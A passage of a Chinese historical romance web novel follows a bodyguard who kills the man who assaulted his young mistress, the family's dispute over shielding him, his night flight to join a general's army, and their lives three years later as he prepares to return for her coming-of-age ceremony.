谢昭凌只淡淡瞥了刘妈妈一眼,便收回视线,继续做事。 刘妈妈叹了口气,不再提了。 陆氏与褚氏面面相觑,一个对视便读出了同样的担心。 好像自从她们回来,谢昭凌一个字都没对她们讲过。 谢昭凌无所谓别人怎么想,他帮乔姝月处理完伤口,轻轻放回她身上。 在他要离开时,乔姝月忽然睁开了眼睛。 谢昭凌被她眼里的惊恐与绝望刺痛了双目,只觉得心痛不已。 他微微启唇,还未说话。 乔姝月便蓦地坐起身,眼泪夺眶而出,她呜咽了声,张开手臂,又扑到了谢昭凌的怀里。 “阿凌,阿凌哥哥——” 她失声痛呼,带着哭腔。 褚氏这下彻底愣住。 谢昭凌感觉到落在自己身上的数道目光灼热、防备、甚至是惊怒,但他此刻都不必再在意。 他低低“嗯”了一声,像在酒楼里安抚她那样,手在她后背轻轻拍着。 不知女孩梦里又经历了什么。 她毫无预兆地,失声痛哭起来。 谢昭凌在悦泉楼将她救下时,她没有哭出声。抱她离开,回到乔府,她也是安安静静的。 方才哄着她睡下,她也毫无异常。 可此时此刻,她搂着谢昭凌的脖子,撕心裂肺地,似乎要将两辈子的委屈一股脑全发泄了出来。 褚氏心都要被女儿哭碎了,哪里还顾得上去计较他们两个合不合规矩。 褚氏在榻沿坐下,也忍不住哭道:“月儿,到底发生何事,你同娘说说啊,见你这般,阿娘好不如去死了痛快。” 乔姝月什么都听不进去。 她的手臂收得越来越紧,手指死死揪住谢昭凌的衣裳。她似乎不知痛一般,本已结痂的伤口被她再次抓破,有新鲜的血流了出来。 刘妈妈大惊失色,“姑娘,快松手啊!” 谢昭凌垂着眼睛,将她推开,拉下她的两条手臂,按在榻上,不让她再乱动。 他一言不发,目光温柔地,静静看着她。 渐渐的,乔姝月的眼泪停了。 她亦回望着他,“谢护卫……” 神志回归,她终于有找回了“体面”,将爱意与依赖深埋心底。 谢昭凌并未觉得失落,反而弯起眼睛,温柔地笑了笑。 “月姑娘,”谢昭凌盯着她的眼睛,轻声道,“噩梦已逝,不会再有了。” 往后都不会再有了。 他目光里带着股强烈的安抚力,安全感与力量感十足。 叫乔姝月一颗彷徨不安的心终于落在实处。 这才恍然发觉,自己竟真的不必再生活在柳步亭的阴影里。 “可你……”乔姝月不自觉地哽咽了声,“怎么办?” 杀了人,又如何能瞒得住,如何能继续安然留在乔家? 关于答案,他们彼此都心知肚明。 等乔姝月终于冷静下来,褚氏才将人揽进怀中。 谢昭凌垂着头,拎着药箱就要退下。 陆氏连忙拦住他,“谢护卫,你是在哪寻到月儿的?” 众人视线皆落了来。 谢昭凌抿着唇,不答,目光看向乔姝月。 他看到她在犹豫挣扎,于是他也不开口。主子不下令,他一个字都不会说。 他忽然反问了一句:“王府的人是如何说的?” 陆氏一提这个就满肚子火,冷笑了声,将王府内发生的事一五一十道来。 谢昭凌若有所思。 乔誉见他如此,手臂碰了碰他胳膊,试探地看着他。 只见谢昭凌漫不经心地瞥他一眼,没搭理,继续想自己的事。 乔誉心里咯噔一下。 这副理所当然又天不怕地不怕的模样,多像他当初救乔良那时,嚣张又霸道。 “你又跟人拼命了?” 乔誉咬着牙,一字一顿。他一想到那个带血的衣裳,整个人都麻木了。 谢昭凌嘲讽地勾了下唇。 他哪是跟人拼命,他明明是去要人命了。 乔姝月犹豫半晌,还是决定将自己遇到的事说出来。 一是因为,柳步亭的失踪乃至身死的消息最多瞒不过两日。 二则是,魏王府的人知道柳步亭和她在一起,柳步亭出现任何事,魏王府都会怀疑到她的身上。 所以她一味瞒着家里人,实乃下下策,且毫无必要。 乔姝月摒弃掉个人情绪,将事情不带感情地陈述出来。只是她再冷静,在提到被柳步亭下了迷药,欲行不轨之事时,她还是惧怕地抖了抖身子。 褚氏听后,沉默半晌,双手捂住脸,无声地哭了起来。 其余众人听后皆怒不可遏,乔良更是低骂了一声,“看我不将他揪出来打死。” 一命换一命,也是他赚了。 乔良说着又要往外走,乔誉眼疾手快将他拉住。 乔良不耐烦地剜他一眼,说话很冲:“拦我作甚?你自己胆小怕事,别碍着旁人。” 乔誉摇摇头,眼神示意他。 乔良看向那个方向,只见谢昭凌一人孤零零地站在角落,心直口快道:“看谢护卫作甚?他怎么了?” 一嗓子把所有人的目光都聚了过来。 乔誉叹了口气,用力把他往外推,认命道:“我错了,你去报你的仇吧。” 乔良说了一句莫名其妙,骂骂咧咧地出了门。 留下来的,都是有脑子的。 “你的主子都说了,”陆氏走到少年面前,“现在可以说说,你是怎么救出月儿的吗?” 谢昭凌抬起头,对上小姑娘担忧又绝望的目光,弯唇笑了笑。 ** 嘭——!! 乔父将桌上的茶壶掷到地上,气得浑身颤抖。手指着堂中站着的少年,“你说,你是从哪儿将人带回来的?!” 乔姝月想要冲上前去,被陆氏紧紧搂在怀里,动弹不得。 谢昭凌背脊挺得笔直,他冷淡道:“悦泉楼。” 哐——!! 茶杯也都摔了个粉碎。 瓷片划过他的鞋面,他寸步未挪。 乔父怒不可遏:“你如何知晓悦泉楼的地形?!难不成你总去那地方!” “我从那儿走出来,自然比旁人更清楚。” 谢昭凌不卑不亢,有条不紊道:“我将尸身扔到了暗道里,那条暗道通向每一个房间,乔大人若需要,尽可去查。” 他不仅担了杀人的罪名,还将悦泉楼的那些污秽也都摆到了明面上来。 顺便也将自己一直瞒着的最为敏感的身份也一并挑了起来。 即便知道这一切都大白于天下时,他会遭受惩罚,甚至还会连累知情的那几个人,包括二公子,四公子,甚至是少夫人。 可比起小菩萨今日所受的屈辱,那些又算得了什么呢?他管不了旁人,他宁愿做个恩将仇报的白眼狼,也决不能让她白白受委屈。 他只恨自己没早早将柳步亭杀死。 他就应该在那畜生第一次推她入河时,就斩草除根,以绝后患。 谢昭凌承认自己在赌。 他还在发泄自己的怨气。 凭什么要让小菩萨一人担惊受怕,承受这一切? 他要让乔家的所有人都变成知情人,都是窝藏他这个杀人犯的共犯,谁也别想跑。 倘若到此时此刻,还有人只顾自己的仕途,顾着自己那一腔迂腐的念头,而置小菩萨的感受于不顾,那就别怪他玉石俱焚。 大公子乔叙听后,眉头紧拧在一起。 这一年多内,悦泉楼已然不再做那些见不得人的勾当,据大理寺暗中调查,悦泉楼的幕后东家已决计收手不做了。 不知是他们内部出了什么事,这段时日竟都一直安安稳稳的,做着正经的生意。乔叙想,那个地道大抵已经荒废了些时日,暂且还算安全。 就算现在知晓密道的存在,他也没有由头去查。 相反的,因为这次事情特殊,他只能“徇私包庇”,没有第二条路可选。 这少年当真是心狠,全然不顾这几年乔家对他的照拂。 也是个好算计的,他明明可以瞒下来,毕竟那密道只他自己知道,尸体一时半刻发现不了,顶多落个失踪,他自个也没给人留下把柄,没有证据,官府没有理由拿人,虽然有风险,但他未必不能全身而退。 可他偏要将所有秘密全掀开来,这明摆着就是跟大家说,要死一起死。 柳步亭的尸体在那,他们去或不去找,都一个难题。 若是顺着线索查到谢昭凌的身上,那他们交不交人?这窝藏罪犯的罪名,乔家担得起吗? 乔家树敌不少,哪怕从前不知谢昭凌的身份,此事一出,别人可不信他们不是一伙的。 死者身份太敏感,恰恰就是乔家的死敌柳氏,谁信他们无辜? 乔府护卫杀人,不受主家教唆,即便是事实,可谁会信? 再说,受难的是他们的小妹。 一母同胞的亲妹妹。 乔叙与夫人陆氏对视一眼,纷纷流露出无奈来。 乔父没想到自己清高自傲了一世,竟与杀人凶手同住了两年。 他当初还赞赏少年未来定大有作为,不愧是好人家的孩子。到头来,竟是一场欺骗,将他唬得团团转! 他看走了眼,他当初有多引以为傲,如今就有多恼羞成怒。 “若让人知道我乔府里杀人犯,那往后,我有何颜面见陛下——” “被人发现,还不如主动请罪……” 乔父痛心疾首,抓着心口的衣裳,睚眦欲裂地道:“来人,将这竖子押送官府!” “不可!” “父亲不可!” 数道声音夹杂在一处,在场竟无一人支持他。 乔父一翻眼皮,昏了过去。 褚氏命人将乔父抬下去,请了大夫来。 自己在堂中主持大局。 事情都已明了,气氛格外凝重。 经此一事,褚氏佝偻了后背,仿佛苍老了许多,叹道: “月儿险些遭遇毒手,此时此刻,乔氏万万做不出告官这事来,你们别听老爷瞎说。” 乔父那迂腐的性子,定然不肯轻易罢休,等他清醒,怕是还要嚷嚷着“大义灭亲”,将谢昭凌扭送官府。 可谢昭凌分明是替天行道,是救了乔姝月的,若无他,乔姝月的名声就彻底毁了。 人死不足惜,眼下该考虑的是如何遮掩。这事处理不好,连带着整个乔府上上下下数十口人都要受牵连。 乔父脑子一根筋,固执己见,可褚氏却要顾虑一大家子的生存。 这事能怨谁呢?怨谢昭凌吗? 怪谁都怪不到他的身上。 “我是月儿的母亲,我比任何人都希望害我女儿的人死。” 褚氏手撑着头,喃喃道:“这事,这事容我想想。” 乔姝月终于挣脱开大嫂的怀抱,冲到跟前,她抱着母亲的脖子。 她没有为自己诉苦,也没有为谢昭凌开脱。 而是低声恳求道:“阿娘,放他走吧。” 这几个字,用了乔姝月全身的力气。 谢昭凌睫毛微颤,喉结轻轻攒动了两下,将涌上来的酸涩都压了回去。 他不意外她会这么说。 这是他们之间无声的默契。 自从在酒楼雅间里见到她那时起,他们就知道,分别是必须的。 褚氏听着女儿冷静、平淡、理智的声音,肩头却感受到她落下来的泪,心如刀割。 “孩子,若舍不得,阿娘再想想别的办法。” 陆氏忽然也说道:“魏王府坚称是月儿自己走出去的,没见到旁人,就说明他们也不敢承认伙同柳步亭将人劫走一事,他们自己心虚。当时王府人言之凿凿,十数双眼睛耳朵都看着听着了,万万抵赖不得。” “不如我们也咬死,就说是月儿因故自己离开,回府去了,这也没什么,魏王府就算知道些内情,料他们也不敢张扬,就算他们将证言改口,也没有实证不是?” “谢护卫,你当时没有遗落月儿的什么东西吧?” 谢昭凌摇头,“扯下的床幔在地道里,床单与脏衣皆已化为灰烬。” 陆氏松了口气,“谢护卫办事稳妥,不如就——” 乔姝月摇摇头,“大嫂,就这样吧。” “嗯,我会离开。”谢昭凌目光清泠,坦荡地说道,“只有我走了,姑娘才算彻底安全。” 哪怕只有一点点会暴露的可能,他也不能冒险。 自再回乔府,少年目光里就只有乔姝月一人。换任何一个长眼睛有脑子的,都能看出他的变化。 说他眼睛和心里都还干干净净的,没人相信,他索性不遮掩,也不畏惧被人知道。 褚氏心生不忍,到底是看着长大的孩子,“可,可你又能去哪——” “他怎么没地方去?” 房门蓦地被人大力推开。 褚玄英阔步走进来。 男人带起一阵风,走得嚣张,神色间隐隐藏着愠怒。 “他不是被你们赶走的,而是老子要带走自己的徒弟。” 此事有了定局,最晚明早出发。 一行人一起往外走。 褚将军睨了少年一眼,满腹牢骚:“都说了,早跟我走不就好了?” 不过没多久,他又暗暗咬牙,“早走了还没人治得了那畜生,也不行。” 天色暗了。 谢昭凌站在上风口,落后于乔姝月半个身子,帮她挡住风。 无人察觉的角度,在宽大的袖子遮掩下。 他们悄悄牵着手。 还想陪着她过生辰,如今看来,却是不能如愿了。 第54章 【54】 三更天过。 木兰院灯火通明,围聚了一帮人。 刘妈妈从主院那边带回消息。 “吴大夫来看过,说老爷急火攻心,不碍事,只是夫人担心老爷醒后还要发火,请将军早做决断。” 褚玄英冷笑了声,不耐烦道:“我早做好决断了,要不是你们磨磨唧唧地拦着,他还能在这待着?” 褚玄英在京中并非没有自己的宅子,虽然他常年不在京中,自己那破宅子没怎么收拾,可他一个武将,什么地方不能住?他曾经甚至跟乞丐借过地盘,自己那个窝好歹能遮风避雨,他不嫌弃。 原本来乔家只是串亲访友,想着住两晚就撤的,结果乔姝月上赶着给他送了个好苗子,这下褚玄英算是被彻底绑住了。 若是谢昭凌愿意跟他,他早就带着人回了自己的将军府,只等着皇帝赶人,他再带着小徒弟远赴边境。 何至于这些日子在这个窝囊地方看他那个迂腐刻薄的妹夫脸色。 这下倒好,不走也得走了。 谢昭凌在一旁默不作声,只守着跟前的小姑娘。 他们相牵的手这时候倒是分开了,只是两个人互相对望,当在场所有人都不存在似得,毫无避讳,眼神缠缠绵绵,勾连不断。 谢昭凌更是,那双总是冷清的眼眸里,此刻藏着股灭不掉的火热,还有点压抑的不好宣之于口的情绪,一双眼睛含蓄又直白,看得褚玄英一个打了十多年光棍的人浑身不自在。 眼瞅着到了后半夜,褚玄英也累了。 他不愿意再耗下去,于是拍了下少年的肩膀,神情严肃地嘱咐道: “我得等圣旨下了才能离开,约莫得过两三日。明日还得进宫赴个鸟宴,一时半刻走不开。你就先离开,今夜就走。” 柳氏长子长孙无故失踪,最迟到明日一早,这事便会闹大,到时候盯着乔府的眼睛也都醒了,再走怕是来不及。 “走城西北的门,我打好招呼了,出城后一路向西,别回头也别停,两日后会到一个叫原城的地方,那儿是安全的,你找个地方落脚,等着我。” “如若我七日后还未与你回合,你就去找打听原城最有名的铁铺,找到老板,提我就行,他会收留你,直到我来。” “等我半路将你接上,咱们就一路往西。好在你平日低调不张扬,没有太多人知道你的名字,带你混入军中倒也不难,只记住你不再是乔府的护卫,且你也从来都不是。你就是无个无父无母,路过被我捡到的孤儿。至于其他,随你瞎编,如今军中缺人,审查没有多严,只要你能闯出一片天地,做出一番事业来,从前是谁都不要紧,以后是谁才最重要。” “这儿是一点盘缠,你拿着,路上切莫露富,虽然凭你的本事也不担心被贼惦记,但咱们到底是逃出去的,低调些为好。” 谢昭凌听至此处,终于开口:“谢谢师父,我都记下了。” 如何逃亡,他都知道,他再熟悉不过了。 这一个称呼险些叫褚玄英没绷住情绪。 他深吸口气,用力拍了拍他肩膀,想说什么,半晌没能说出来。 好半天,才憋出来一句:“你做得没错,别怕,师父给你托底。” 乔姝月红了眼睛,也道:“麻烦舅舅了。” 褚玄英笑了声,交代完就走了,他转日一早还要进宫。 乔誉与他擦肩而过,俞升推着一个小木车跟在身后。 乔姝月望过去,见是一车书。 乔誉指了指那满满一车的书籍,言简意赅:“都带上。” 乔姝月瞪大了眼睛。 四哥平日里最是宝贝他那些书籍,虽然找四哥借书不如三哥艰难,但眼下这架势,显然不是借,而是送。 乔姝月大为感动,但还是替人拒绝了,“四哥,他又不是出去游山玩水,带着这些,会拖慢脚步吧?” 乔誉掀了眼皮看她,脸色不善,自然是听出来被人嫌弃是累赘,仍坚持道:“那便挑上几本。” 乔誉挑剔地打量着谢昭凌,意味不明道:“只是出去个几年,总不会想要就此荒废学业吧?军中能有几个认字的?能有书读?” 只是出去几年…… 乔誉默认他还会回来,谢昭凌听出言下之意,看了对方一眼。 四目相对,瞬间达成某个共识。 乔姝月却立马反驳:“军中为何不能有读过书的?” 前世陛下亲口说的,在军中学了好多东西呢,这说明军中卧虎藏龙,能人多着呢。 “他们有驻军有营地,不会轻易挪动地方,定有人有藏书的。再说了,城里也有书铺,要读书只要有银子就好了,四哥你还不如给点钱实在。” 乔誉:“……?” 不怪他越长大,越不想和妹妹在一块玩。 实在是两人时常鸡同鸭讲,很难说到一起去。他有时真的怀疑是不是自己说话方式有误,才会让妹妹抓不住重点,毕竟妹妹还算聪慧,不该听不懂他的暗示才对。 倒是和谢昭凌…… 自那次学堂失火,谢昭凌点醒了他,那以后乔誉总有一种,谢昭凌才是自己的兄弟,乔姝月不是的感觉。 乔誉不想再和小妹说话,转头看向少年,只问:“你要不要。” “要。” 谢昭凌走上前,开始认真挑选。 他如今已识得许多字,最为基础的启蒙书也学完了,他心里对未来有了勾勒,有了完整的计划,知道自己需要什么。 没一会,谢昭凌便挑了十本书籍。 乔誉见他拿的都是些高深的书籍,诸如兵法兵略,或是讲授治国之策,挑了挑眉,没说话。 俞升又从小车上拎起一个药袋,递了过去。 “保重。” 乔誉道。 “多谢。” 乔誉没什么谈兴,也没同他告别,转身走了。 乔良后得了消息,赶紧从外头赶回来。他这才知道自己冲动跑出去的这段时间里都发生了什么,尤其是听刘妈妈说了前因后果、以及谢昭凌做过什么事后,惊得出了一身冷汗。 不过他显然也不是怕事的人,且他一向够义气。 将自己的库房翻了个底朝天,拼凑出一百两银子,全都给谢昭凌带来了。 谢昭凌看着面前的一箱白银,淡淡道:“拿不了,心领了。” 他一个人轻装简行,实在不适宜带太多东西。 乔良不依不饶,非说不拿自己就不走了。 谢昭凌有些烦躁。 时辰不多,这些人一个接一个的没完没了,他还有些话要对乔姝月单独说。 他没再与人多纠缠,转身回房,去收拾包袱。 乔姝月敏感地感觉到他情绪不佳,赶忙从里头拿了十两碎银,好说歹说,把乔良哄走了。 等谢昭凌收拾完东西再出来,才发现院子里的人不知何时都散了,只剩乔姝月一人。 她孤零零地坐在石凳上,对着石桌上那些碎银发呆。 从前头顶那轮圆月的光总是温暖的,如今怎么看都觉得寂寥。 院子里一时寂静下来。 两人一坐一站,久久无言。 半晌,谢昭凌拎着包袱走近,在她身旁落座。 他从怀中掏出一把玉梳。 他轻声道:“原本想要等到姑娘生辰日再送的。” 乔姝月看过去,眼眶微红,“小兔子?” 玉梳的把手上还雕刻着一只小兔子形状,和那个汤婆子上的纹饰一模一样。 “前些日子听玉竹说,姑娘不小心弄坏了一个,那是长灵郡主幼时与姑娘在分别之际相赠的临别礼,它在郡主归京时折断了,何尝不是一种预示。” “姑娘用了这么许多年都不肯换,想来是十分念旧情的人,这些日子还想着修复那玉梳,如今应当也不再需要了吧。” 乔姝月喃喃道:“是不需要了。” “那正好换一个新的。”谢昭凌拉过她的手,把玉梳放在她掌心,语气温柔,“来日若坏了,我再给姑娘做一把新的。” 乔姝月诧异道:“这是你自己做的吗?” “嗯,手艺粗糙,还望不要嫌弃。” 乔姝月捧着玉梳,哑言良久。 半晌,她轻声问道:“你可知,男子赠送女子玉梳是何意?” 以梳为礼,结发同心。① 是他不知其含义,是她多想,会错意了?还是他压根就是…… 谢昭凌没答,一双黑亮的眼眸紧紧盯着她,带着点乱人心神的蛊惑,不经意间泄露出一丝情愫,被人轻易地捕捉。 乔姝月顿时笑了,虽是笑着,可眼泪还是流了出来,她不再抓着这个问题不放。 正欲再说什么,刘妈妈走了过来,她递过来一个包裹,说道:“夫人给谢护卫准备了两身冬装,让老奴拿来。西边苦寒,褚将军虽不会亏着将士吃穿,但自家的总是更好一些,谢护卫也一起带上吧。个子还在长,所以这衣裳也预备得稍大了一点。” 谢昭凌低声道了句谢,接过来背在身上。 刘妈妈看了看两个人,迟疑半晌,还是叹道:“姑娘,马备好了。” 乔姝月倏地扭开头,抬手捂住了唇。 谢昭凌轻叹一声,道了一声“好”,而后他起身,走到女孩面前,在她身前蹲下。 “我幼时自家中逃出时,没有告别的经验,所以我现在不知该如何……” 他话还未说完,就被人用手捂住了唇。 谢昭凌眼睫颤了颤,眸色深暗下去。 她的手还伤着,嘴唇感受到了她伤口结的痂。 乔姝月冲他摇头,不安地道:“不要说。” 她不想听到什么“我会回来”,“等我回来”这种话。 道别以后,他们真的还能再见吗? 前世陛下说过这些话以后,他们之间就是永别。 她潜意识里觉得这些话不吉利,所以无论如何都不许他说出口。 谢昭凌滚了滚喉结,薄唇微动,在她掌心蹭了两下,含糊地应了声“好”。 他又从袖子里摸出一张薄薄的纸,塞到她掌心里,而后就着包裹着她手背的姿势,郑重问道:“梦里……可还有棘手的难题吗?” 乔姝月眼底微光晃了晃,抿唇道:“没有。” 知她说谎,谢昭凌没有戳穿,只道:“在战场上,若不到最后一刻,应当不会有孤军奋战的时候,对吗?” 乔姝月迟疑着,点了点头。 “姑娘也从来都不是一个人。” “嗯?” 少年眉眼温柔,轻轻笑了笑,他抬起手,将被风吹乱的发丝替她挽至耳后,靠近了些,似耳鬓厮磨,对她低语: “属于我们二人的秘密,姑娘若想独揽,是否太不公平?” 乔姝月鼻子一酸,眼泪又落下来。 他不能说等他回来,就只能用这种隐晦的方式告诉她,还有他在。就算还有难题,也等他回来一起面对。 “好。” 谢昭凌拎起包袱,最后握了一下她的手。他没敢太用力,怕弄疼她。 握了一会,慢慢松开。 在即将分开的那瞬,又被她反手抓住。 一只还不够,她的另一只手也握了上来。 她抓着他的手,眼睛里噙满水雾。 谢昭凌感受到她掌心的异物,笑道:“姑娘,送你的东西,等我走了再看。” 乔姝月愣了下,这才反应过来,他刚刚给自己塞了东西。 她下意识松手,捏紧那张纸条。 谢昭凌顺势抽手离开。 指尖从她掌心滑过。 他动作果断干脆,毫不犹豫地,转身就走。 步子迈得很大,几步就到了门口。 等乔姝月小跑着追上去时,已经不见他身影。 听守在门口的李成说,谢护卫翻墙走了。 刘妈妈提着灯笼靠近,乔姝月怔怔望着墙头。 半晌,乔姝月打开了谢昭凌留给她的纸条。 借着灯光,看清了上头的字。 是谢昭凌的亲笔,字迹潇洒流畅,上写着—— 今有梧县李村赵氏捡娃,现名谢昭凌,年十七,五月十三生人,因身负杀人罪责,被官府通缉,逃至西京,为谋生计藏身于悦泉楼,幸得一小菩萨搭救,得以堂堂正正为人,恩重如山,没齿难忘。 承顺十五年五月十三日,情愿自卖与乔氏幼女乔姝月为奴,身价五十两银整。 立契之日欠银已清,然恩情难报,故自愿永生不赎。恐后无凭,立卖字为照。② 卖字人那一栏签着谢昭凌本人的名字,旁边还有他的手印。 中保人写的则是乔誉的名字。 竟是一张卖身契。 一直以来,他都将自己的出身与来历藏得严实,眼下却是交代得明明白白,毫无保留。 “这还是死契!”刘妈妈惊呼。 自愿永生不赎。 不管谢昭凌往后走到哪儿,一辈子都是乔姝月的人。哪怕他走到天涯海角,只要乔姝月需要,他都必须要回来。 啪嗒。 一滴晶莹的泪滴到手印上。 乔姝月捂着脸,终于哭出了声。 第55章 【55】 三年后。 西北大营。 军医自营帐内退出,迎面遇上了身穿银甲的男子。 军医微微颔首,“大将军。” 褚玄英才从伤兵营归来,隔着帘子往里看了一眼,压低声:“如何?” 军医满脸愁色,叹道:“箭从背后射入,擦着心脏贯穿而出,伤及要害,元气大伤,恐怕要好好调理些时日。” 褚玄英脸色铁青,心疼得不行,嘴里却冷哼了声:“让他心黑,天天净想着算计别人。跟他说慢慢来,就是不听,也不知急什么!” “兵行险招,未必不能取胜,小将军天生将才,敏锐又果决,是我军之福。若无小将军兵行诡道,我们的将士怕要白白送了性命。” 粮草吃紧,军饷也迟迟拨不下来。若再多拖上几年,不知还要饿死冻死多少将士。 褚玄英自然知军医所言非虚,可到底是自家的孩子,怎能不心疼。一笔一笔,可都是拿命拼出来的功绩。 他烦躁地摆摆手,挑帘进去了。 褚玄英看着榻上昏睡不醒的人,眼前依稀是他三年前的样子。 那双凌厉的眼眸安静地合着,却也依然能从他出挑的五官中寻到熟悉的攻击性,紧蹙的眉昭示着他哪怕是在睡梦里,也依然只有噩梦在缠绕他。 若非是此刻重伤在床,褚玄英怕是也不能轻易近身。 三年过去,少年长成了男人,如今已快要弱冠。 褚玄英要为其取字,却被人摇头拒绝,非说要由他主子来取。 你说说,这像话吗?从来都是由父母师长来取字,哪里轮到上一个小丫头来?! 劝不动,算了,这臭小子早被他那小外甥女迷得五迷三道,跟入了魔似的。 褚玄英也看开了。 早在一年前,谢昭凌便擢升为副将,因他年龄小,为区分于另一位谢姓的副将,被军中人尊称为小将军。 这一场大捷后,边关战事暂平,谢昭凌在此次战役中军功卓绝,加之这三年来他的名头实在响亮,因此这一次回京既是养伤,等待他的还将是一次前所未有的封赏。 等了两个时辰都不见人醒,褚将军又去巡视了两圈营地,还审问完所有的战俘,方等到谢昭凌醒来。 褚玄英回到营帐,发现本该出现在榻上的人不见了。 褚玄英瞪着书案后的男子,怒不可遏地冲到他面前道:“军医不是让你卧床休养吗?你不要命了!” 身披墨发的男子只着一身干净的里衣,因为刚刚睡醒,衣裳并未穿得很规整,加上他胸前缠了厚厚的纱布,寝衣领口松松垮垮的,隐约还能透过领口见到里头紧实虬劲的肌理。 他眼皮都没抬,姿态懒散,孤零零地坐在那,低首垂眸,因重伤未愈,面色苍白,平添了几分脆弱的美感。 单看皮囊就是一场视觉的盛宴,那些外邦人也曾被这小子的外表给欺骗,认为他乳臭未干,毫无威胁。等真正见识到其凶狠暴戾的一面时,再后悔已来不及。 他拿起桌上一封信,小心翼翼地拆开,在展信那一刻,周身的冷意顿时如冰雪消融,他眉眼温柔似水,唇畔也添了丝笑意。 褚玄英瞬间就明白了,面容扭曲,“她的信你晚一刻看会死吗?” 谢昭凌没答,一双眼睛牢牢黏在信上。 褚玄英一口气险些没上来。 好好好。 谢昭凌魂牵梦萦的那位时常会往营地寄送家书,只要是信送来,他必定会第一时间拆看。 有一回驿馆送信的人路上耽搁了会功夫,这小子就站在营地门口,望着来信的方向,生生等了两个时辰。 弄得其他将士们还以为敌军要攻打过来了,否则怎么会值得小将军面色严肃地亲自在门口等着呢。 等信送来,一众下属才松了口气,原来是京城传来的密信,一个个拎着刀枪盾牌又散去了。 可其实只是家书! 褚玄英品了品他的表情,牙酸道:“你这半年打起仗来次次拼命,凶猛得连咱们自己人都害怕,难道是想快点回去?” 这个问题谢昭凌倒是回答了,他嗯了声,冷静道:“她快要过生辰。” 褚玄英不可置信:“你缺席的又不止这一个生辰。” 去年,前年,哪个在身边了? “她今年及笄。” 褚玄英:? 哦,所以呢? 及笄过后,可以嫁人了。 褚玄英气笑了,“合着你在这等着。” 谢昭凌否认:“我什么都没想。” 他将信反复读了三遍,才恋恋不舍地夹进书里,撑着桌子起身,捂着伤口,慢慢往回走。 褚玄英才不信,这一副盼归盼得要死的模样,怕是日日夜夜净惦记着那事呢。 褚玄英看不过去他这残废样,上去扶了一把,“你是不是在这边待腻了,连受伤也算计好了?” 伤成这样肯定是没法在前线待,功成名就,再也不是当年那个为了躲避杀人罪名而狼狈出走的少年,他可以衣锦还乡,自此踏上一条繁华路。 谢昭凌好笑地看他一眼,“我有毛病吗?” 故意伤成这样,小菩萨知道以后恐怕要被他气死。 “那可说不准,为了她你什么事做不出来。” 不怪褚玄英把自己的徒弟往坏处想,这真是他能做出来的事。比干是心比旁人多一窍,徒弟是心比世人黑几分。他要是想算计谁,恐怕没人能逃得过。 柳步亭还是死早了,他当初好歹死得痛快干脆。若是对上如今的谢昭凌,怕是会后悔来到这个世上。 “你说实话,你到底是不是不想再跟着我干了。” “我若不想再做,也不会这么大费周章,这次受伤实是失误,不是有意为之,”谢昭凌道,“再说哪怕受伤,我也可以继续上战场。” 这话不假,褚玄英就没见过比他还能忍能拼的。 “若我孤身一人,我可以一直留在这。”谢昭凌坐回到榻上,脸色更加苍白,他下意识伸手摸向枕下,摸出一个荷包来,指尖摩挲着布面,他心情极好,抿着唇笑了笑,“但她及笄,我得回去。” “有些事我一早就答应了她,我要回去和她一起面对。不管是否受伤,我都必须践行诺言。” 只属于他们两个人的秘密,他一刻都不敢忘。哪怕是爬,他也要回到她身边。 褚玄英不想继续这个话题,一说起来他心里就酸得慌。徒弟提起小外甥女时的眼神,也看得他浑身起鸡皮疙瘩,难受得很。 他语气生硬地道:“你交代的那个俘虏单独关起来了,他有问题?” 那个俘虏并非是军中人,而是他们收回被西羌人攻占的城池时,在那座城里无意间遇到的人。 严格意义上并不算战俘,而是强行被谢昭凌掳来的。 谢昭凌战功赫赫,名声也一贯很好,无论是在军中还是在百姓心中,都很有威望。 他不会纵容手下将士在战争过后烧杀抢掠,释放欲望。他治下有方,与其他几名副将比起来,算是个很温文尔雅的人。 所以他不由分说抓了一百姓后,旁人也不会说他什么,而是会认为,那人是敌方的细作,是漏网之鱼。 这就是名声的好处。 可谢昭凌知道,他这次是以权谋私了。 谢昭凌沉默良久,哑声道:“师父,他叫了我以前的名字。” 褚玄英顿时严肃起来。 ** 乔府近来有两件大事要发生。 其一为乔氏幺女要办及笄宴,及笄后便可以议亲,西京城中不少夫人都巴巴望着,惦记着与乔家结亲。 其二则是褚将军不日大胜归朝,乔府一部分仆人还要去将军府那边打扫。 “知道吗?如今炙手可热的小谢将军是从咱们府上出去的!” “咱们府上还有这般骁勇的能人?听闻他能百步穿杨,切敌将首领的头颅如切菜一般简单,魏二,这都是真的?” “那当然,要不然褚将军能一眼相中他?他可是我的好兄弟,本事多着呢,且听我一一道来……” 玉竹抱着一筐红绸带,从一众家丁背后悄然而过。 进了木兰院,玉竹将东西放在地上,快步跑进屋。 “姑娘,眼见及笄宴就到了,您怎么还跟夫人揽了将军府修缮的活儿呢?” 她叉着腰,满脸愤愤,看向屋中人。 书案前的少女已完全长开,面容温和柔美,乌密长睫轻轻扇动,含烟笼雾的眸中带着丝丝灵动,稚气褪去,平添了许多清雅柔和的书香气。 瞧着倒是“大家闺秀”了不少,只是一开口,又满是少女的狡黠。 “我当然要盯着他们,”少女纤细的手指慢条斯理地翻过一页书,嗓音含笑,“万一他们不好好偷懒,做工太快,可怎么行?” 玉竹:“……啊?” “笨呐,他们若是好好干活,万一舅舅他们一回来就住将军府去了,我怎么办?” 玉竹:“……哦。” “对了,谢护卫的房间可收拾出来了?” 某人哪怕离开了三年,“谢护卫”这个称呼却都并不耳生,她们主子隔三差五就要念叨一遍,众人总是生出一种人未曾离开的错觉。 紫棉不知从哪冒出来,冷静道:“他快弱冠,而姑娘也要及笄,不可再同住一个院子。” 乔姝月睁圆了眼,从书里抽出一张纸,“这可是死契,他不住这,还想去哪儿?” 众人:“……” 就这么一张卖身契,三年里不知拿出来显摆了多少回。幸好谢护卫只走了三年,要是五年十年,这张纸早就被揉搓碎了。 紫棉道:“人家现如今是将军,岂能委屈还住在下人的房间。” 乔姝月笑了声,将军怎么了,就算是皇帝,也照样愿意住下人的房间。 这可是她的院子,他会不来? “那等他回来问问,这张纸还作不作数。” “……” “姑娘,宴会名单送来三日了,您看完了吗?” 乔姝月心虚地干笑了声,不情不愿地翻起宴会的名单。 这东西有什么可看的,柳步亭不在了,谁都可以来,谁来都不要紧。 只要谢昭凌能来就行。 才看两行,乔誉便踏进了院子。 乔誉如今已有十八,正好是谢昭凌当年离开的年纪。 他前年考过了院试,如今已入国子监念书,只等来年参加乡试。 他和乔家老三不同,他即便入了国学读书,每日也都会回家来住。 今日放学后,他便直奔乔姝月这儿来。 进了门也不多说废话,掏出怀里的信放在桌上。 